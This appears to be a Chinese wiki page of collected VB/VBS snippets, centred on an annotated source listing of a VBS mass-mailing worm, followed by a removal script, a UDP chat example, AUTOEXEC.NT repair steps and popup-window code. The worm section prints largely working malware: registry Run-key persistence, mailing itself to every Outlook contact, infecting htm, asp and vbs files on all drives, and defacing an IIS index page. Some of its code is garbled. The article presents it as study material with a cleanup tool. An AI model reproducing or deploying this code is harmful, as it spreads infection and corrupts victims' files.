Call Change(StartMenu_Find) ’禁用“开始”菜单中的“查找”功能  
Call Change(StartMenu_Close) ’禁用“开始”菜单中的“关闭系统”功能 

  将以上代码保存为ChangeStartMenu.vbs文件,使用时双击即可。 

  七、执行外部程序 

  用记事本编辑如下内容: 

DIM objShell 
set objShell=wscript.createObject("wscript.shell") 
iReturn=objShell.Run("cmd.exe /C set var=world", 1, TRUE) 

  保存为.vbs文件即可。在这段代码中,我们首先设置了一个环境变量,其名为var,而值为world,用户可以使用%Comspec%来代替cmd.exe,并且可以把命令:set var=world改成其它的命令,这样就可以使它可以运行任意的命令。 

  八、重新启动指定的IIS服务 

  用记事本编辑如下内容: 

Const ADS_SERVICE_STOPPED = 1 
Set objComputer = GetObject("WinNT://MYCOMPUTER,computer") 
Set objService = objComputer.GetObject("Service","MYSERVICE") 
If (objService.Status = ADS_SERVICE_STOPPED) Then 
objService.Start 
End If 

  将它以startsvc.vbs为名保存在C盘根目录。并通过如下命令执行:cscript c:\startsvc.vbs。运行后,经你指定的IIS服务项将被重新开启。 

  最后,我们再说说开篇时提到的VBS脚本病毒的防范方法。VBS病毒的执行离不开WSH,在带给人们便利的同时,WSH也为病毒的传播留下可乘之机。所以要想防范VBS病毒,可以选择将WSH卸载,只要打开控制面板,找到“添加/删除程序”,点选“Windows安装程序”,再鼠标双击其中的“附件”一项,然后再在打开的窗口中将“Windows Scripting Host”一项的“√”去掉,然后连续点两次“确定”就可以将WSH卸载。或者,你也可以点击“我的电脑”→“查看”→“文件夹选项”,在弹出的对话框中,点击“文件类型”,然后删除VBS、VBE、JS、JSE文件后缀名与应用程序的映射,都可以达到防范VBS脚本病毒的目的。
}}}
{{{
本文通过对一个vbs病毒源码的分析,介绍脚本语言在:文件系统,注册表,以及网络邮件三个方面的具体应用和技巧。较早的“爱情虫”等病毒,程序比较粗糙,这个病毒结合了许多早期病毒的优点,程序代码简单,高效,充分展示了VBS的全面特点,因此拿来与大家共享,如果将这个源码作为一个VBS开发的微型帮助文档,一点不为过。读者也可以通过此文揭开此类病毒的神秘面纱,不再谈虎色变,先进的东西都不敢用了。杀病毒吗,笔者还是建议您购买一套杀毒软件(几十元的价格,一点不贵),然后注意更新病毒库就可以了。要学习 VBS,具有一些VB的基础知识就够了。这个病毒的主要攻击方法是:通过网络及邮件进行传播,并且不断地向目标邮件服务器发送大量邮件,并且在传染过程中检测网络主机的名称中是否有目标字符,如果有则进行破坏攻击。下面将结合具体的程序逐步进行介绍,由于篇幅关系,对一些语句进行了缩减。
'@ thank you!  make use of other person to get rid of an enemy, white trap _2001
''开场白,第一个字符“@”是这个病毒传染时的标记
on error resume next  ''这一句很重要,主要是在程序执行时如果发生错误就接着
                      ''执行下一条语句,防止谈出出错对话框,否则就不能偷偷
                      ''的干坏事啦。这里有一个技巧,就是在程序编制调试阶段,
                      ''最好不要这一条语句,因为它会忽略错误,使你的调试工
                      ''作不易完成。
dim vbscr, fso,w1,w2,MSWKEY,HCUW,Code_Str, Vbs_Str, Js_Str
dim defpath, smailc, MAX_SIZE, whb(), title(10)      ''声明各个变量
smailc = 4
Redim whb(smailc)
whb(0) = "pr@witehous.gov"
...
whb(3) = "ms@witehous.gov"
''以上这四个邮件地址就是被攻击的目标,当然已经进行了修改,不是真实地址
title(0) = "Thanks for helping me!"
...
title(8) = "the sitting is open!"
title(9) = ""
''以上这十条字符串是病毒执行时随机显示在IE标题栏里的信息。如果你的IE标题栏
''显示了其中的某条信息,呵呵,一定要接着往下看
defpath  = "C:\Readme.html"          ''将随邮件一起发送的病毒体
MAX_SIZE = 100000
MSWKEY   = "HKEY_LOCAL_MACHINE\SoftWare\Microsoft\Windows\"
HCUW     = "HKEY_CURRENT_USER\Software\Microsoft\WAB\"
''定义两个注册表的键值变量
main     ''执行主函数 
''下面就是程序中所需的各个函数的定义部分,整个VBS程序将由windows目录中的
''WScript.exe文件解释执行,如果将这个文件改名或删除,当然VBS程序也就不能执行
''了,如此便阻止了病毒的执行。在用杀毒软件杀毒时,往往病毒传播的速度要比杀
''毒的速度快,如果出现这种情况,应该先将WScript.exe文件改名,阻止病毒传播,
''等杀完毒后,再改回来,不致影响其他正常的VBS程序的执行。
sub main()
on error resume next
dim w_s
w_s= WScript.ScriptFullName     ''得到此文件名称
if w_s = "" then 
 Err.Clear
 set fso = CreateObject("Scripting.FileSystemObject")
 ''随着VB编程语言的完善,微软也推出了一种全新的文件操作方法:文件系
        ''统对象(FileSystemObject)。这个对象,及一些相关对象,封装了所有
        ''的文件操作。这个病毒程序基本展示了所有的这些操作,因此,如果您要
        ''利用VBS进行文件操作编程,将这个病毒源码作为参考文档,肯定不错。
 if getErr then 
  Randomize
  ra = int(rnd() * 7)
  doucment.write title(ra)       
  ExecuteMail         ''打开有毒的页面
 else      
  ExecutePage         ''赋值成功,进行传染,攻击
 end if  
else
 ExecuteVbs                  ''从病毒体文件“system.dll”提取病毒
end if
end sub

Function  getErr()
''本函数主要是检测前一条语句是否成功返回了Scripting.FileSystemObject对象,
''内容略
end function

sub ExecutePage()
dim Html_Str,adi,vf,wdf, wdf2,wdf3,wdsf, wdsf2
Vbs_Str  = GetScriptCode("vbscript")       ''获得此程序的VBScript code
Js_Str   = GetJavaScript()
Code_Str =  MakeScript(encrypt(Vbs_str),true)   ''进行加密处理
Html_Str =  MakeHtml(encrypt(Vbs_str), true) 
Gf
wdsf  = w2 & "Mdm.vbs"
wdsf2 = w1 & "Profile.vbs"
wdf   = w2 & "user.dll"
wdf2  = w2 & "Readme.html"
wdf3  = w2 & "system.dll"

set vf = fso.OpenTextFile (wdf, 2, true)
vf.write Vbs_Str
vf.close  
''仅用以上三条语句便完成了病毒体文件 "user.dll"的制作,其中对象函数
''OpenTextFile (wdf, 2, true)的三个参数分别是:
''①文件名,②读=1或写=2,③文件不存在时是否创建;
''当前,FileSystemObject对于文本文件的操作有较强的优势,对binary文件
''的操作还有待加强。下面依次生成其他的文件,内容略

Writereg  MSWKEY & "CurrentVersion\Run\Mdm", wdsf, ""    
Writereg  MSWKEY & "CurrentVersion\RunServices\Profile", wdsf2, ""
''将Mdm.vbs,Profile.vbs两个脚本文件加入到启动组当中,随Win启动自动执行
SendMail
Hackpage
if TestUser then
 Killhe
else
 mk75
end if
set adi = fso.Drives        ''所有驱动器对象
for each x in adi           ''遍历所有的驱动器
 if x.DrivesType = 2 or x.DrivesType = 3 then  
  call SearchHTML(x & "\")
 end if
next
if fso.FileExists(defpath) then  fso.DeleteFile defpath
''如果存在"C:\Readme.html" ,就删除它
end sub

sub  ExecuteMail()
''此函数制作病毒文件"C:\Readme.html" ,并打开它,
''由这一段程序,可以看出VBS的简洁高效
on error resume next
Vbs_Str  = GetScriptCode("vbscript")
Js_Str   = GetJavaScript()
Set Stl = CreateObject("Scriptlet.TypeLib")
with Stl
 .Reset
 .Path = defpath
 .Doc =  MakeHtml(encrypt(Vbs_str), true) 
 .Write()
end with
window.open defpath, "trap", "width=1 height=1 menubar=no scrollbars=no toolbar=no"
end sub

sub ExecuteVbs()
on error resume next
dim x, adi, wvbs, ws, vf
set fso = CreateObject("Scripting.FileSystemObject")
set wvbs = CreateObject("WScript.Shell")
Gf
wvbs.RegWrite  MSWKEY & "Windows Scripting Host\Setings\Timeout", 0, "REG_DWORD" 
set vf = fso.OpenTextFile (w2 & "system.dll", 1)
Code_Str = vf.ReadAll()
vf.close
Hackpage
SendMail
if TestUser then 
 Killhe
else
 mk75
end if
set adi = fso.Drives
for each x in adi
 if x.DrivesType = 2 or x.DrivesType = 3 then  
  call SearchHTML(x & "\")
 end if   
next
end sub

sub Gf()
w1=fso.GetSpecialFolder(0) & "\"   ''获得Windows的路径名,
w2=fso.GetSpecialFolder(1) & "\"   ''获得系统文件夹路径名
end sub

function Readreg(key_str)
set tmps = CreateObject("WScript.Shell")
Readreg = tmps.RegRead(key_str)
set tmps = Nothing
end function

function Writereg(key_str, Newvalue, vtype)
''对注册表进行写入操作,读操作类似,可以由此看到vbs的注册表操作非常简单明了。
set tmps = CreateObject("WScript.Shell")
if vtype="" then
 tmps.RegWrite key_str, Newvalue
else
 tmps.RegWrite key_str, Newvalue, vtype
end if      
set tmps = Nothing       ''关闭不用的资源,算是病毒的良好行为
end function

function MakeHtml(Sbuffer, iHTML)
''制作html文件的内容
dim ra
Randomize
ra = int(rnd() * 7)
MakeHtml="<" & "HTML><" & "HEAD><" & "TITLE>" & title(ra) & """<" & "/BOAD><" & "/HTML>"
end Function

function MakeScript(Codestr, iHTML) 
''制作病毒的可执行script code
if iHTML then
 dim DocuWrite
 DocuWrite = "document.write('<'+" & "'SCRIPT Language=JavaScript>\n'+" & _
      "jword" & "+'\n DocuWrite = DocuWrite & vbcrlf & "document.write('<'+" & "'SCRIPT Language=VBScript>\n'+" & _
      "nword" & "+'\n MakeScript="<" & "SCRIPT Language=JavaScript>" & vbcrlf & "var jword = " & _
 chr(34) & encrypt(Js_Str) & chr(34) & vbcrlf & "var nword = " & _
 chr(34) &  Codestr &  chr(34) & vbcrlf & "nword = unescape(nword);" & vbcrlf & _
 "jword = unescape(jword);" & vbcrlf & DocuWrite & vbcrlf & "else     
 MakeScript= "<" & "SCRIPT Language=JavaScript>" & Codestr & "end if
end function 

function GetScriptCode(Languages)
''此函数获得运行时的Script code,
''内容略
end function

function GetJavaScript()
GetJavaScript = GetScriptCode("javascript")
end function

function TestUser()
''此函数通过键值检测网络主机是否是攻击目标
''内容略
end function

function mk75()
''检测日期是否符合,如果符合,发控制台命令,使系统瘫痪
end function

function SendMail()
''利用outlook发送携带病毒体的邮件,Microsoft Outlook是可编程桌面信息管理程序,
''outlook可以作为一个自动化服务器(Automation servers),因此很容易实现自动发送
''邮件,从这里也可以看出,先进的东西难免会被反面利用,如果你也想用程序控制发送
''邮件,可以仔细研究下面的代码,
on error resume next
dim wab,ra,j, Oa, arrsm, eins, Eaec, fm, wreg, areg,at
Randomize
at=fso.GetSpecialFolder(1) & "\Readme.html"    ''要发送的附件文件
set  Oa  = CreateObject("Outlook.Application") ''制作outlook对象
set  wab = Oa.GetNameSpace("MAPI")             ''取得Outlook MAPI名字空间
for j = 1 to wab.AddressLists.Count            ''遍历所有联系人
 eins = wab.AddressLists(j)
 wreg=Readreg (HCUW  & eins)
 if (wreg="") then wreg = 1
 Eaec = eins.AddressEntries.Count       ''地址表的Email记录数
 if (Eaec > Int(wreg)) then
  for x = 1 to Eaec
   arrsm = wab.AddressEntries(x)
   areg = Readreg(HCUW & arrsm) 
   ''读注册表中的标记,避免重复发送
   if (areg = "") then
    set fm = wab.CreateItem(0)   ''创建新邮件
    with fm
     ra = int(rnd() * 7)
     .Recipients.Add arrsm ''收件人
     .Subject = title(ra) ''邮件的标题
     .Body = title(ra)  ''邮件的正文内容
     .Attachments at   ''病毒文件作为附件
     .Send        ''发送邮件
     Writereg HCUW & arrsm, 1, "REG_DWORD"
    end with
   end if
  next
 end if    
 Writereg HCUW & eins, Eaec, ""   
next 
set Oa = Nothing
window.setTimeout "SendMail()", 10000   ''每100秒发送一次
end function

sub SearchHTML(Path)
''这个函数递归搜索所有需感染的文件,如果你想批量处理文件,这是非常典型
''的样例代码
on error resume next
dim pfo, psfo, pf, ps, pfi, ext
if instr(Path, fso.GetSpecialFolder(2)) > 0  then exit sub
''fso.GetSpecialFolder(2)获得临时文件夹路径名,
''fso.GetSpecialFolder(0)获得Windows的路径名,
''fso.GetSpecialFolder(1)获得系统文件夹路径名
set pfo    = fso.GetFolder(Path)
set psfo   = pfo.SubFolders
for each  ps in psfo
 SearchHTML(ps.Path)
 set pf  = ps.Files
 for each pfi in pf
  ext = LCase(fso.GetExtensionName(pfi.Path))
  if instr(ext, "htm") > 0 or ext = "plg" or ext = "asp" then
   if Code_Str<>"" then AddHead pfi.Path, pfi, 1
  elseif ext= "vbs"  then
   AddHead pfi.Path,pfi, 2
  end if       
 next 
next 
end sub

sub Killhe()
''看函数名就知道硬盘又要倒霉啦
end sub

sub Hackpage()
dim fi
H = "C:\InetPut\wwwroot"
if fso.FolderExists(H) then
 set fi = fso.GetFile(H & "\index.htm")
 AddHead H & "\index.htm",fi,1
end if   
end sub

sub AddHead(Path, f, t)
''这个函数负责感染文件,之所以不进行省略,因为在后面编制杀毒程序时要用到这一段。
on error resume next
dim tso, buffer,sr
if f.size > MAX_SIZE then exit sub
set tso = fso.OpenTextFile(Path, 1, true)
buffer = tso.ReadAll()
tso.close
if (t = 1) then
        ''如果是"htm","plg", "asp" 文件,则在其中加入病毒代码
 if UCase(Left(LTrim(buffer), 7)) <> "  set tso = fso.OpenTextFile(Path, 2, true)
  tso.Write  Code_Str & vbcrlf & buffer
  tso.close
 end if
else    ''否则,用病毒体程序覆盖掉原文件,这个有点损
 if mid(buffer, 3, 2) <> "'@" then
  tso.close
  sr=w2 & "user.dll"
  if fso.FileExists(sr) then fso.CopyFile sr, Path
 end if
end if
end sub
''以上对病毒源码进行了分析,是不是有所收获,赶快打开纪事本,亲自开发一个vbs
''程序吧,“水能载舟,亦能覆舟”,就编一个清除它的杀毒程序,算是本文的加强练习。
''
''感兴趣的朋友可以看一下笔者根据源程序改编的杀毒程序。

附:
''''''''kill75.vbs''''''''''''
'本程序由源病毒码修改而成
Dim fso, w1, w2, MSWKEY, HCUW
Dim defpath
Dim bdNUM      ''记录杀除病毒文件的个数
Const MAX_SIZE = 100000
main

Sub main()
On Error Resume Next
bdNUM=0
defpath = "C:\Readme.html"
MSWKEY = "HKEY_LOCAL_MACHINE\SoftWare\Microsoft\Windows\"
HCUW = "HKEY_CURRENT_USER\Software\Microsoft\WAB\"
Err.Clear
Set fso = CreateObject("Scripting.FileSystemObject")
ExecuteKill
End Sub
Sub ExecuteKill()
On Error Resume Next
Dim adi, vf, wdf, wdf2, wdf3, wdsf, wdsf2
Gf
wdsf = w2 & "Mdm.vbs"
wdsf2 = w1 & "Profile.vbs"
wdf = w2 & "user.dll"
wdf2 = w2 & "Readme.html"
wdf3 = w2 & "system.dll"

If fso.FileExists(wdsf) Then fso.DeleteFile wdsf: bdNUM = bdNUM + 1
If fso.FileExists(wdsf2) Then fso.DeleteFile wdsf2: bdNUM = bdNUM + 1
If fso.FileExists(wdf) Then fso.DeleteFile wdf: bdNUM = bdNUM + 1
If fso.FileExists(wdf2) Then fso.DeleteFile wdf2: bdNUM = bdNUM + 1
If fso.FileExists(wdf3) Then fso.DeleteFile wdf3: bdNUM = bdNUM + 1
If fso.FileExists(w2 & "75.htm") Then fso.DeleteFile w2 & "75.htm": bdNUM = bdNUM + 1
If fso.FileExists(defpath) Then fso.DeleteFile defpath: bdNUM = bdNUM + 1

DeleteReg MSWKEY & "CurrentVersion\Run\Mdm"
DeleteReg MSWKEY & "CurrentVersion\RunServices\Profile"
DeleteReg MSWKEY & "CurrentVersion\Run\75"

Set adi = fso.Drives
For Each x In adi
  If x.DrivesType = 2 Or x.DrivesType = 3 Then
    Call SearchHTML(x & "\")
  End If
Next
End Sub

Sub Gf()
w1 = fso.GetSpecialFolder(0) & "\"
w2 = fso.GetSpecialFolder(1) & "\"
End Sub

Function DeleteReg(key_str)
Set tmps = CreateObject("WScript.Shell")
tmps.RegDelete key_str
Set tmps = Nothing
End Function

Sub SearchHTML(Path)
On Error Resume Next
Dim pfo, psfo, pf, ps, pfi, ext
If InStr(Path, fso.GetSpecialFolder(2)) > 0 Then Exit Sub
Set pfo = fso.GetFolder(Path)
Set psfo = pfo.SubFolders
For Each ps In psfo
  SearchHTML (ps.Path)
  Set pf = ps.Files
  For Each pfi In pf
    FileLabel.Caption = pfi
    DoEvents
    ext = LCase(fso.GetExtensionName(pfi.Path))
    If InStr(ext, "htm") > 0 Or ext = "plg" Or ext = "asp" Then
         CutHead pfi.Path, pfi, 1
    ElseIf ext = "vbs" Then
       CutHead pfi.Path, pfi, 2
    End If
  Next
Next
End Sub

Sub CutHead(Path, f, t)
On Error Resume Next
Dim tso, buffer, sr, wz, fbuf
Set tso = fso.OpenTextFile(Path, 1, True)
buffer = tso.ReadAll()
tso.Close
If (t = 1) Then
   If UCase(Left(LTrim(buffer), 7)) = "      If InStr(1, buffer, "jword") > 0 Then
         wz = InStr(1, buffer, "")
         If wz > 10000 Then
           fbuf = Right(buffer, Len(buffer) - wz - 10)
           Set tso = fso.OpenTextFile(Path, 2, True)
           tso.Write fbuf
           tso.Close
           bdNUM = bdNUM + 1
           DoEvents
         End If
       End If
   End If
Else
   If Mid(buffer, 3, 2) = "'@" Then
      re = MsgBox("是否想删除:" + Path + ",它可能已经变成了75病毒", vbYesNo)
      If (re = vbYes) Then
         tso.Delete
         bdNUM = bdNUM + 1
         DoEvents
      End If
   End If
End If
End Sub
Function getErr()
If Err.Number <> 0 Then
 getErr = True 
 Err.Clear
Else
 getErr = False
End If
End Function

}}}
@@bgcolor(yellow):[[资料室|Library]]@@
----
#[[Desktop.ini文件和病毒详解]]
----
''@@color(green):bgcolor(#FFCC99):申明:部分代码都来自网络,感谢各位作者,我学到很多,仅在此把这些资料整理在一起,供有心之人有物可用,thanks。@@''
@@bgcolor(yellow):[[资料室|Library]]@@
----
#[[自动关机批处理]]
#[[出现AUTOEXEC.NT不适用于运行MS-DOS与MICROSOFT应用程序的提示]]
----
''@@color(green):bgcolor(#FFCC99):申明:部分代码都来自网络,感谢各位作者,我学到很多,仅在此把这些资料整理在一起,供有心之人有物可用,thanks。@@''
{{{
UDP协议基础:  
  UDP(User Datagram Protocol)是一种无连接协议,与TCP操作不同,计算机间并不需要建立一个连接,同时,一个UDP应用可同时作为应用的客户或服务器方。  


  由于UDP协议并不需要建立一个明确的连接,因此建立UDP应用要比建立TCP应用简单得多。在TCP应用中,一个Winsock控制必须明确地设置成“监听”,而其它Winsock控制则必须使用Connect方法来初始一个连接。  
  使用UDP协议,在两个Winsock控制间进行数据的发送,在连接的两端必须完成以下三步:  
  1.设置RemoteHost属性为其它计算机的名称;  
  2.设置RemotePort属性为第二个Winsock控制的LocalPort属性的值;  
  3.申请Bind方法。  
  通过使用方法Bind,则可将该Winsock控制捆绑到一个本地端口,以便该Winsock控制使用该端口来进行类似TCP的“监听”功能,并防止其它应用使用该端口。  
  使用该协议传送数据,首先设置客户计算机的LocalPort属性。而作为服务器的计算机仅需要设置RemoteHost属性为客户计算机的IP地址或域名即可,并将其RemotePort属性设置成客户计算机上的LocalPort属性即可,然后就可通过申请SendData方法来开始信息发送,客户计算机则可在其DataArrial事件中使用方法GetData来获取发送的信息。  
  下例具体演示了一个“谈话”应用,以允许相互间进行实时的交谈。  
  UDP应用一:  
  建立一个新标准EXE工程文件,拖放一个Winsock控制到表单上,添加两个文本框到表单上,然后进行以下属性的设置:  
  表单(Form):Name=“frmPeerA” Caption=“UDP Application(1)”  
  Winsock控制:Name=“udpPeerA” Protocol=“sckUDPProtocol”  
  文本框1(TextBox): Name“txtSend”  
  文本框2(TcxtBox): Name=“txtOutput” MultiLine-True ScrollBars=2  
  然后打开代码窗口,分别在相应的事件下输入以下代码:  
  Private Sub Form_Load()  
   With udpPeerA  
   .RemoteHost=“197.1.1.2” '要连接到的计算机名  
   .RemotePort=1010 '要连接到的端口号  
   .LocalPort=1011 '该Winsock控制将要使用的本地端口号,便于其它端与该Winsock通讯  
   .Bind 1011 '将该Winsock控制绑定到该本地端口  
   EndWith  
  End Sub  
  Private Sub txtSend_Change()  
   udpPeerA.SendData txtSend.Text'发送文本  
  End Sub  
  Private Sub udpPeerA_DataArrival(ByVal bytesTotal As Long)  
   Dim strData As String  
   udpPeerA.GetData strData,vbString  
   txtOutput.Text = strData  
  End Sub  
  UDP应用二:  
  类似建立UDP Server的方法,在表单上添加一个Winsock控制及两个文本框,然后进行以下属性的设置:  
  表单(Form):Name=“frmPeerB” Caption=“UDP Application(2)”  
  Winsock控制:Name=“udpPeerB” Protocol=“sckUDPProtoclool”  
  文本框1(TextBox):Name=“txtSend”  
  文本框2(TextBox):Name=“txtOutput” MultiLine=True ScrollBars=2  
  然后输入以下代码:  
  Private Sub Form_Load()  
   With udpPeerB  
   .RemoteHost=“197.1.1.2” '要连接到计算机的IP地址  
   .RemotePort=1011 '要连接到的端口号  
   .LocalPort=1010 '该Winsock控制将使用的本地端口号,便于其它方与之通讯  
   .Bind 1010 '将该Winsock控制绑定到该本地端口  
   End With  
  End Sub  
  Private Sub txtSend_Change()  
   udpPeerB.SendData txtSend.Text '发送文本  
  End Sub  
  Private Sub udpPeerB_DataArrival(ByVal bytesTotal As Long)  
   Dim strData As String  
   udpPeerB.GetData strData,vbString  
  txtOutput.Text=strData  
  End Sub  
  要运行该实例,打开两个Visual Basic的事例,然后分别运行这两个工程文件即可。若要在不同的机器上运行此两例,只需要将两个工程文件中的RemoteHost改变成相应的计算机的IP地址或域名即可(以上例子在Visual Basic 6.0及winxp上通过)。
}}}
{{{
出现C:\windows\system32\AUTOEXEC.NT不适用于运行MS-DOS与MICROSOFT应用程序的提示

=======================
插入WinXP的安装盘到光驱中,在命令提示符下面分别执行如下命令(假设你的系统安装在C:下面, 光驱为F:) 

expand F:\i386\config.nt_ C:\windows\system32\config.nt 
expand F:\i386\autoexec.nt_ C:\windows\system32\autoexec.nt 
expand F:\i386\command.co_ C:\windows\system32\command.com 

重启即可. 
=========================
还有: 
C:\windows\system32\autoexec.nt.系统文件不适用于运行MS-DOS与MICROSOFT WINDOWS 应用程序。选择关闭终止应用程序. 
解决方法: 
1、到Windows目录下的repair文件夹,把里面的autoexec.nt复制到system32目录,如果提示config.nt出错方法相同。 
或 
2、打开任意一扩展名为.com的文件,然后查看属性,在"程序"活页卡片内点击"高级"按钮,在第一行内填入 %SystemRoot%\SYSTEM32\AUTOEXEC.NT.在第二行内填入 %SystemRoot%\SYSTEM32\CONFIG.NT,如果以上还不行的话,在WINDOWS\SYSTEM32下有个文件AUTOEXEC.NT,用记事本打开,删除原内容,然后输入以下内容: @ECHO OFF lh %SystemRoot%\system32\mscdexnt.exe lh %SystemRoot%\system32\redir lh %SystemRoot%\system32\dosx 
注:AUTOEXEC.NT.文件的作用:是用来初始化MS-DOS环境,它是XP启动盘的重要文件 
且在Windows 2000下也适用. 
========================

首先打开任意一扩展名为.com的文件,然后查看属性,在"程序"活页卡片内点击"高级"按钮,在第一行内填入 %SystemRoot%\SYSTEM32\AUTOEXEC.NT.在第二行内填入 %SystemRoot%\SYSTEM32\CONFIG.NT 
如果以上还不行的话,在WINDOWS\SYSTEM32下有个文件AUTOEXEC.NT,用记事本打开,删除原内容,然后输入以下内容: 
@echo off 

REM AUTOEXEC.BAT is not used to initialize the MS-DOS environment. 
REM AUTOEXEC.NT is used to initialize the MS-DOS environment unless a 
REM different startup file is specified in an application's PIF. 

REM Install CD ROM extensions 
lh %SystemRoot%\system32\mscdexnt.exe 

REM Install network redirector (load before dosx.exe) 
lh %SystemRoot%\system32\redir 

REM Install DPMI support 
lh %SystemRoot%\system32\dosx 

REM The following line enables Sound Blaster 2.0 support on NTVDM. 
REM The command for setting the BLASTER environment is as follows: 
REM SET BLASTER=A220 I5 D1 P330 
REM where: 
REM A specifies the sound blaster's base I/O port 
REM I specifies the interrupt request line 
REM D specifies the 8-bit DMA channel 
REM P specifies the MPU-401 base I/O port 
REM T specifies the type of sound blaster card 
REM 1 - Sound Blaster 1.5 
REM 2 - Sound Blaster Pro I 
REM 3 - Sound Blaster 2.0 
REM 4 - Sound Blaster Pro II 
REM 6 - SOund Blaster 16/AWE 32/32/64 
REM 
REM The default value is A220 I5 D1 T3 and P330. If any of the switches is 
REM left unspecified, the default value will be used. (NOTE, since all the 
REM ports are virtualized, the information provided here does not have to 
REM match the real hardware setting.) NTVDM supports Sound Blaster 2.0 only. 
REM The T switch must be set to 3, if specified. 
SET BLASTER=A220 I5 D1 P330 T3 

REM To disable the sound blaster 2.0 support on NTVDM, specify an invalid 
REM SB base I/O port address. For example: 
REM SET BLASTER=A0 
}}}
{{{
不知从什么时候起,软件的弹消息都不再用以前那吓人一跳的MessageBox对话框了,而是改在屏幕右下角弹一个小消息窗口。  
PS: 只要一个form贴进此代码,加入Timer1和Timer1两个控件。  
'------------------------------------------------------------- 
'透明 
Private Declare Function SetLayeredWindowAttributes Lib "user32" (ByVal hWnd As Long, ByVal crKey As Long, ByVal bAlpha As Byte, ByVal dwFlags As Long) As Long 
Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long) As Long 
Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long 
Const WS_EX_LAYERED = &H80000 
Const GWL_EXSTYLE = (-20) 
Const LWA_ALPHA = &H2 
Const LWA_COLORKEY = &H1 

'延迟 
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long) 

'最前 
Private Declare Function SetWindowPos Lib "user32" (ByVal hWnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long 
Private Const HWND_BOTTOM = 1 
Private Const HWND_BROADCAST = &HFFFF& 
Private Const HWND_DESKTOP = 0 
Private Const HWND_NOTOPMOST = -2 
Private Const HWND_TOP = 0 
Private Const HWND_TOPMOST = -1 

'可见区域 
Private Declare Function CreateRectRgn Lib "gdi32" (ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long 
Private Declare Function SetWindowRgn Lib "user32" (ByVal hWnd As Long, ByVal hRgn As Long, ByVal bRedraw As Boolean) As Long 
Private Declare Function DeleteObject Lib "gdi32" (ByVal hObject As Long) As Long 

Dim MyRect As Long 
Dim MyRgn As Long 

Dim X1 As Integer, Y1 As Integer 
Dim X2 As Integer, Y2 As Integer 
Dim OpenSpeed As Integer 
Dim CloseSpeed As Integer 

Dim WiteLong As Integer 


Private Sub Form_Load() 
'------------------------------------------------------------------ 
  OpenSpeed = 10         '出现时速度 
  CloseSpeed = 10        '关闭时淡出的速度 
  Timer1.Interval = 10   '出现时显示平滑度 
  WiteLong = 30          '关闭前等待时间(秒),为0则不会自动关闭 
'------------------------------------------------------------------ 
   
  Me.Move Screen.Width * 0.75, Screen.Height * 0.75, _ 
          Screen.Width \ 4, Screen.Height \ 4 
   
  SetWindowPos Me.hWnd, HWND_TOPMOST, Me.Left \ Screen.TwipsPerPixelX, Me.Top \ Screen.TwipsPerPixelY, Me.Width, Me.Height, 1 

  X1 = 0 
  Y1 = Me.Width \ Screen.TwipsPerPixelX 
   
  X2 = Me.Width \ Screen.TwipsPerPixelX 
  Y2 = Me.Height \ Screen.TwipsPerPixelY - 1 
   
  MyRect = CreateRectRgn(X1, Y1, X2, Y2) 
  MyRgn = SetWindowRgn(Me.hWnd, MyRect, True) 
End Sub 

Private Sub Form_Unload(Cancel As Integer) 
  Call CloseMe(1)  '以什么样的方式关闭自己,有 1-淡出 和 2-收缩 可选 
  Call DeleteObject(MyRect) 
End Sub 


Private Sub Timer1_Timer() 
  Y2 = Y2 - OpenSpeed 
   
  If Y2 <= 0 Then 
    MyRect = CreateRectRgn(0, 0, Me.Width \ Screen.TwipsPerPixelX, Y2) 
    MyRgn = SetWindowRgn(Me.hWnd, MyRect, True) 
     
    Timer1.Enabled = False 
     
    '---------------------- 
    If WiteLong <> 0 Then 
      Timer2.Interval = 1000 
      Timer2.Enabled = True 
    End If 
  End If 
   
  MyRect = CreateRectRgn(X1, Y1, X2, Y2) 
  MyRgn = SetWindowRgn(Me.hWnd, MyRect, True) 
End Sub 

Private Sub Timer2_Timer() 
  Static NL As Integer 
  NL = NL + 1 
   
  If NL >= WiteLong Then Unload Me 
   
End Sub 


'============================================== 
'0 - 不使用卸载效果 
'1 - 使用透明淡出效果 
'2 - 使用收缩效果 
'============================================== 
Private Sub CloseMe(Optional N As Integer = 1) 
Select Case N 
  Case 0 
    Exit Sub 
  Case 1 
    Dim rtn As Long 
     
    rtn = GetWindowLong(Me.hWnd, GWL_EXSTYLE) 
    rtn = rtn Or WS_EX_LAYERED 
    SetWindowLong Me.hWnd, GWL_EXSTYLE, rtn 
     
    For I = 255 To 10 Step -10 
      SetLayeredWindowAttributes Me.hWnd, 0, I, LWA_ALPHA 
      DoEvents 
      Sleep CloseSpeed 
    Next I 
  Case 2 
    While Y2 < (Me.Height / Screen.TwipsPerPixelY) 
      Y2 = Y2 + OpenSpeed 
      MyRect = CreateRectRgn(X1, Y1, X2, Y2) 
      MyRgn = SetWindowRgn(Me.hWnd, MyRect, True) 
      Sleep OpenSpeed 
    Wend 
  Case Else 
   
End Select 
End Sub 
}}}
{{{
Dim h As Integer 

Private Sub Form_Activate() 
Timer1.Enabled = True 
End Sub 

Private Sub Form_Load() 
Me.Left = Screen.Width - Me.Width 
Me.Top = Screen.Height 
h = Me.Height / 10 
Timer1.Interval = 100 
Timer1.Enabled = False 
Timer2.Interval = 100 
Timer2.Enabled = False 
End Sub 

Private Sub Timer1_Timer() 
If Me.Top <= Screen.Height - Me.Height Then Timer1.Enabled = False: Timer2.Enabled = True: Exit Sub 
Me.Top = Me.Top - h 

End Sub 

Private Sub Timer2_Timer() 
Static i As Integer 
i = i + 1 
If i > 30 Then 
 Me.Top = Me.Top + h 
 If Me.Top >= Screen.Height Then End 
End If 
End Sub 
}}}
{{{
1、新建立一个VB6工程,将Form1的ShowInTaskBar属性设置为False 

2、菜单:工程--添加模块 按“打开”这样就添加了一个新模块,名为Module1,保存为Module1.bas 

3、在Module1中写下如下代码: 

Option Explicit

Public Const MAX_TOOLTIP As Integer = 128

Public Const NIF_ICON = &H2
Public Const NIF_MESSAGE = &H1
Public Const NIF_TIP = &H4

Public Const NIM_ADD = &H0
Public Const NIM_DELETE = &H2

